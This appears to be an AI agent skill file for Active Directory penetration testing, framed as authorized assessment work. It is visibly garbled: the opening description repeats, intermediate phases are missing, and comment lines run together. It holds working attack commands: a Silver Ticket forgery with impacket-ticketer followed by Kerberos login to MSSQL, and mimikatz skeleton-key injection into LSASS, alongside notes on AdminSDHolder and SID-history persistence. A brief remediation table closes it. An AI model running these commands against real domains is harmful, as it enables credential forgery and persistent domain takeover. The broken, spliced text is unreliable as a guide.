Conduct a focused Active Directory penetration test to enumerate domain objects, discover attack paths with BloodHound, exploit Kerberos weaknesses, escalate privileges via ADCS/DCSync, and demonstrate domain compromise. Use when conducting a focused active directory penetration test to enumerate domain.
Conduct a focused Active Directory penetration test to enumerate domain objects, discover attack paths with BloodHound, exploit Kerberos weaknesses, escalate privileges via ADCS/DCSync, and demonstrate domain compromise. Use when conducting a focused active directory penetration test to enumerate domain.
Active Directory (AD) penetration testing targets the central identity and access management system used by over 95% of Fortune 500 companies. The test identifies misconfigurations, weak credentials, dangerous delegation settings, vulnerable certificate templates, and attack paths that enable an attacker to escalate from a standard domain user to Domain Admin or Enterprise Admin.
When to Use
Trigger phrases:
"performing active directory penetration test"
"Conduct a focused Active Directory penetration test to enumerate domain objects,"
When conducting security assessments that involve performing active directory penetration test
When following incident response procedures for related security events
When performing scheduled security testing or auditing activities
When validating security controls through hands-on testing
Prerequisites
Standard domain user credentials (minimum starting point)
Network access to domain controllers (LDAP/389, Kerberos/88, SMB/445, DNS/53)
# Create Silver Ticket for specific service
impacket-ticketer -nthash <service_nthash> -domain-sid S-1-5-21-... \
-domain corp.local -spn MSSQL/sqlserver.corp.local administrator
export KRB5CCNAME=administrator.ccache
impacket-mssqlclient 'corp.local/administrator@sqlserver.corp.local' -k -no-pass
Phase 5 — Persistence Demonstration
# Skeleton Key (inject into LSASS — authorized testing only)
mimikatz# privilege::debug
mimikatz# misc::skeleton
# Now any user can authenticate with "mimikatz" as password# AdminSDHolder persistence# Add controlled user to AdminSDHolder ACL# SDProp process propagates ACL to all protected groups every 60 minutes# SID History injection# Inject Domain Admin SID into low-privilege user's SID history# Document all persistence mechanisms and clean up after testing
Findings and Remediation
Finding
CVSS
Remediation
Kerberoastable accounts with weak passwords
7.5
Use gMSA, enforce 25+ char passwords for service accounts
Unconstrained delegation on servers
8.1
Remove unconstrained delegation, use constrained or RBCD
